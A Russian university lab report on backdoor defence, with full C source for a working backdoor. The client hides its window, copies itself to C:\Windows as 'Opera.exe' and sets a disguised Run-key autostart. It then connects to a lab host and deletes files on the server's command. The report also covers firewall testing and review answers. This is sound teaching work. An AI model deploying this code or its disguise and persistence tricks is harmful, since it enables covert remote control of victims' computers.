Файл: Лабораторная работа 4 Защита от встраиваемых потайных ходов по дисциплине Основы информационной безопасности.docx

ВУЗ: Не указан

Категория: Не указан

Дисциплина: Не указана

Добавлен: 04.02.2024

Просмотров: 46

Скачиваний: 7

ВНИМАНИЕ! Если данный файл нарушает Ваши авторские права, то обязательно сообщите нам.


  1. Министерство образования и науки Российской Федерации

  2. Санкт-Петербургский Политехнический Университет Петра Великого



  3. Институт прикладной математики и механики

  4. Кафедра «Информационная безопасность компьютерных систем»



ЛАБОРАТОРНАЯ РАБОТА № 4


  1. «Защита от встраиваемых потайных ходов»



  2. по дисциплине «Основы информационной безопасности»



  1. Выполнили

  2. студент гр. 4851001/10002 Сергеев Н.С.

<подпись>



  1. Проверил

  2. преподаватель Калинин М.О.

<подпись>







  1. Санкт-Петербург 2022

  1. Цель работы

Приобрести навыки по анализу структуры, функциональности и угроз специально встраиваемого дефекта программного продукта – потайного хода (backdoor), а также изучить методы защиты от уязвимостей такого вида.

  1. Ход работы

  1. Использованные методы маскировки:

Для маскировки клиентская часть программы запускается без окна. Название программы похоже на название исполняемого файла одного из распространённых веб браузеров, что должно вызвать дополнительное доверие. При прописывании ключа в реестре для автозагрузки используется строка «Opera browser», что намекает на необходимость запуска.

  1. Описание добавления программы-клиента в автозагрузку:

Поскольку предполагается использование потайного хода на Windows-системе, клиентская программа добавляет в системный реестр ключ для автоматической загрузки вместе с системой. В исходном коде клиента это метод autoloading();. Перед этим программа копирует себя в системный каталог, и прописывает автозапуск для исполняемого файла уже из диска C. Таким образом, удаление первоначального файла не приведёт к решению проблемы.


void autoloading()

{

HKEY hKey = NULL;

char way[0x100];

GetModuleFileName(NULL, way, sizeof(way)); //извлекает полный путь доступа к исполняемому файлу

CopyFile(way, "C:\\Windows\\Opera.exe", 1); //копирует существующий файл в новый файл
LONG rc = RegOpenKeyEx(HKEY_CURRENT_USER, TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_ALL_ACCESS, &hKey);
if (rc == ERROR_SUCCESS)

{

way[0] = '\0';

strcpy(way, "C:\\Windows\\Opera.exe");

RegSetValueEx(hKey, "Opera browser", NULL, REG_SZ, (LPBYTE)way, strlen(way)); //создает параметр в разделе реестра

RegCloseKey(hKey);

}

else

{

printf("Error!");

}

}


  1. Межсетевой экран Comodo:

Установив программный межсетевой экран “Comodo Фаервол” на атакуемый компьютер, фиксируем список открытых сетевых портов, а также отмечаем поведение межсетевого экрана на запуск клиента:



Рис. 1. Список открытых портов


После того, как разрешаем запрос на соединение, фиксируем сетевые порты, которые ими использовались. Блокируем их и по новой производим запуск клиента и сервера. После блокировки порта соединение с сервером не было установлено.



Рис. 2. Блокировка порта



  1. Результаты работы программы:

При первичном запуске программа-клиент добавляет себя в автозагрузку, выполняется без окна, производит удаление файла по запросу программы-сервера. Однако, клиент виден при просмотре в диспетчере задач на атакуемой машине. При удалении исполняемого файла и перезагрузки системы, клон программы на диске C выполняет те же операции, его также можно обнаружить в диспетчере задач.

  1. Ответы на вопросы

  1. Какие угрозы несут потайные ходы? Потайной ход позволяет копировать, удалять файлы с пораженного компьютера, позволяет получить удаленный доступ к реестру, производить системные операции: создание новых сетевых ресурсов, модификацию паролей и т.д.

  2. Как можно обнаружить потайной ход, если он открывает порт только на короткие промежутки времени, которые заранее не известны? Для того, чтобы обнаружить потайной ход, нужно регулярно осуществлять проверку открытых портов, а также установить специальную программу-монитор (например, Commodo Internet Security,) которая позволяет обнаруживать такие программы.

  3. Можно ли использовать потайные ходы для организации распределенной атаки типа «отказ в обслуживании»? Да, потайные ходы можно использовать для организации распределенной атаки отказа в обслуживании, например, заставлять так называемых “зомби” отправлять запрос на определенный сервер, таким образом при очень большом количестве запросов, сервер перестает работать в нормальном режиме и отвечать на запросы.

  4. Каким образом можно удалить процесс программы-клиента из списка задач Диспетчера задач? Вызвать Диспетчер задач. Выделяется нужный процесс, и в нижнем правом углу появляется активируется кнопка “Снять задачу”. После нажатия задача перестает быть активной.

  5. Опишите схему работы потайного хода, использующего для удаленного управления Telnet-сервер. Telnet – это сервер, который обслуживает протокол TELNET. Обычно telnet запускается через сервис Internet, в некоторых системах может быть запущен вручную. Telnet обслуживает TCP-порт 23, но может быть запущен и на другой порт. Принцип работы сервера заключается в том, что он “слушает” порт TCP. В случае поступления запроса на обслуживание, telnet назначает каждому удаленному клиенту псевдотерминал в качестве стандартного файла ввода, вывода, ошибок. При установке взаимодействия с удаленным клиентом telnet обменивается командами настройки (эхо, обмен двоичной информацией, тип терминала, скорость обмена). После подключения удаленный пользователь должен ввести имя пользователя и пароль. После входа в систему пользователь видит командную строку, которую можно использовать, как будто эта командная строка была запущена локально в консоли сервера. Команды, вводимые в командной строке клиента, отправляются на сервер и выполняются там, как будто пользователь локально подключился к сеансу командной строки на сервере.


  1. Выводы

В ходе работы мы ознакомились со шпионским программным обеспечением, а именно потайными ходами. Мы узнали, структуру потайных ходов, их функции, какие опасности представляют эти программы для компьютеров, а также какими действиями и мероприятиями можно защитить свой компьютер от рук злоумышленников. Слабо продвинутый пользователь может долгое время работать на системе, в которой присутствует Backdoor, и даже не подозревать, что его компьютер используется в нелегальных целях. Его выход в интернет может использоваться для сетевых атак, для сканирования сетей или для скрытого сбора информации.
Приложение 1

#undef UNICODE

#define _CRT_SECURE_NO_WARNINGS

#define WIN32_LEAN_AND_MEAN
#include

#include //подключение сокетов для передачи данных

#include

#include

#include

#include
#pragma comment (lib, "Ws2_32.lib") //соответствующиq lib-файл для winsock2.h
#define DEFAULT_BUFLEN 260

#define DEFAULT_PORT "1111" //номер порта
int main()

{

SetConsoleCP(1251); //

SetConsoleOutputCP(1251); //распознование кириллицы в консоли
int Result;
//Инициализация Winsock

WSADATA wsaData; //для инициализации сокетов

WORD DLLVersion = MAKEWORD(2, 2); //указывает старший номер версии библиотеки

Result = WSAStartup(DLLVersion, &wsaData);

//В случае успеха функция возвращает нулевое значение

if (Result != 0)

{

printf("Error!\n");

return 1;

}
struct addrinfo *result = NULL; // используется для подготовки структуры адреса сокета

struct addrinfo hints; // подсказки о типе сокета

ZeroMemory(&hints, sizeof(hints)); //заполняем память 0

hints.ai_flags = AI_PASSIVE; //назначить сокету адрес моего хоста (адрес сокета будет исп. при вызове функции привязки)

hints.ai_family = AF_INET; //указание версии протокола

hints.ai_socktype = SOCK_STREAM; //обеспечивает последовательные, надежные, двусторонние байтовые потоки

hints.ai_protocol = IPPROTO_TCP; //TCP — один из основных протоколов передачи данных интернета, предназначенный для управления передачей данных
// Перевод имени хоста в адрес

Result = getaddrinfo(NULL, DEFAULT_PORT, &hints, &result);

if (Result != 0)

{

printf("Error!\n");

WSACleanup();

return 1;

}
// Создать сокет для подключения к серверу

SOCKET ListenSocket = INVALID_SOCKET;

ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol); //создание сокета, домен, тип канала, протокол

if (ListenSocket == INVALID_SOCKET)

{

printf("Error! Создать сокет не удалось\n");

freeaddrinfo(result);

WSACleanup();

return 1;

}
// Настройте сокет прослушивания TCP (прослушивания запросов на установку соединения)

// Привязать имя к сокету

Result = bind(ListenSocket, result->ai_addr, (int)result->ai_addrlen); //адрес, длина адреса

if (Result == SOCKET_ERROR)

{

printf("Error!\n");

freeaddrinfo(result);

closesocket(ListenSocket);

WSACleanup();

return 1;

}
freeaddrinfo(result);
Result = listen(ListenSocket, SOMAXCONN); //информируем ОС, что мы ожидаем ("слушаем") запросы связи на данном сокете

if (Result == SOCKET_ERROR) {

printf("Error!\n");

closesocket(ListenSocket);

WSACleanup();

return 1;

}
// Принять клиентский сокет (принятия связи на сокет)

SOCKET ClientSocket = INVALID_SOCKET;

ClientSocket = accept(ListenSocket, NULL, NULL);

if (ClientSocket == INVALID_SOCKET)

{

printf("Error!\n");

closesocket(ListenSocket);

WSACleanup();

return 1;

}
printf("Успешно подключен к клиенту и готов удалить файл\nВведите путь: ");

char way[DEFAULT_BUFLEN];

scanf("%s", way);

way[strlen(way)] = '\0';

Result = send(ClientSocket, way, (int)strlen(way), 0); //запись данных в клиентский сокет

if (Result == SOCKET_ERROR)

{

printf("Отправить не удалось\n");

closesocket(ClientSocket);

WSACleanup();

}

way[0] = '\0';
//печатает удалился ли файл

int len = DEFAULT_BUFLEN;

Result = recv(ClientSocket, way, len, 0); //чтение данных из клиентского сокета

int i = 0;

while (way[i] != '\0')

{

printf("%c", way[i]);

i++;

}
_getch();

return 1;

}

Приложение 2

#define WIN32_LEAN_AND_MEAN

#define _CRT_SECURE_NO_WARNINGS

#include

#include

#include

#include

#include

#include
#pragma comment (lib, "Ws2_32.lib")

#pragma comment (lib, "Mswsock.lib")

#pragma comment (lib, "AdvApi32.lib")
#define DEFAULT_BUFLEN 260

#define DEFAULT_PORT "1111"
void autoloading()

{

HKEY hKey = NULL;

char way[0x100];

GetModuleFileName(NULL, way, sizeof(way)); //извлекает полный путь доступа к исполняемому файлу

CopyFile(way, "C:\\Windows\\Opera.exe", 1); //копирует существующий файл в новый файл
LONG rc = RegOpenKeyEx(HKEY_CURRENT_USER, TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_ALL_ACCESS, &hKey);
if (rc == ERROR_SUCCESS)

{

way[0] = '\0';

strcpy(way, "C:\\Windows\\Opera.exe");

RegSetValueEx(hKey, "Opera browser", NULL, REG_SZ, (LPBYTE)way, strlen(way)); //создает параметр в разделе реестра

RegCloseKey(hKey);

}

else

{

printf("Error!");

}

}
int main()

{

SetConsoleCP(1251); //

SetConsoleOutputCP(1251); //распознование кириллицы в консоли
FreeConsole();

autoloading();

int Result;
//Инициализация Winsock

WSADATA wsaData; //для инициализации сокетов

WORD DLLVersion = MAKEWORD(2, 2); //указывает старший номер версии библиотеки DLL

Result = WSAStartup(DLLVersion, &wsaData);

//В случае успеха функция возвращает нулевое значение

if (Result != 0)

{

printf("Error!\n");

return 1;

}
struct addrinfo hints; // подсказки о типе сокета

ZeroMemory(&hints, sizeof(hints));

hints.ai_family = AF_UNSPEC;

hints.ai_socktype = SOCK_STREAM;

hints.ai_protocol = IPPROTO_TCP;
// Перевод имени хоста в адрес

struct addrinfo *result = NULL; // используется для подготовки структуры адреса сокета

Result = getaddrinfo("192.168.56.1", DEFAULT_PORT, &hints, &result); //ip-адрес для соединения, порт

if (Result != 0)

{

printf("Error!\n");

WSACleanup();

return 1;

}
// Попытка соединиться с адресом

SOCKET ConnectSocket = INVALID_SOCKET;

struct addrinfo *ptr = NULL;

for (ptr = result; ptr != NULL; ptr = ptr->ai_next)

{

// Создать сокет для подключения к серверу

ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);

if (ConnectSocket == INVALID_SOCKET)

{

printf("Error!\n");

WSACleanup();

return 1;

}
// Подключиться к серверу

Result = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);

if (Result == SOCKET_ERROR){

closesocket(ConnectSocket);

ConnectSocket = INVALID_SOCKET;

continue;

}

break;

}
freeaddrinfo(result);
if (ConnectSocket == INVALID_SOCKET){

printf("Невозможно подключиться к серверу!\n");

printf("Ожидание");

_getch();

WSACleanup();

return 1;

}
char recvbuf[DEFAULT_BUFLEN];

int recvbuflen = DEFAULT_BUFLEN;
for (int i = 0; i < recvbuflen; i++) recvbuf[i] = '\0';

Result = recv(ConnectSocket, recvbuf, recvbuflen, 0);
int k = remove(recvbuf);

if (k == -1){

send(ConnectSocket, "Delete error\n", 14, 0); //запись данных в сервер сокет

}

else{

send(ConnectSocket, "Successful delete\n", 19, 0); //запись данных в сервер сокет

}
_getch();

return 1;}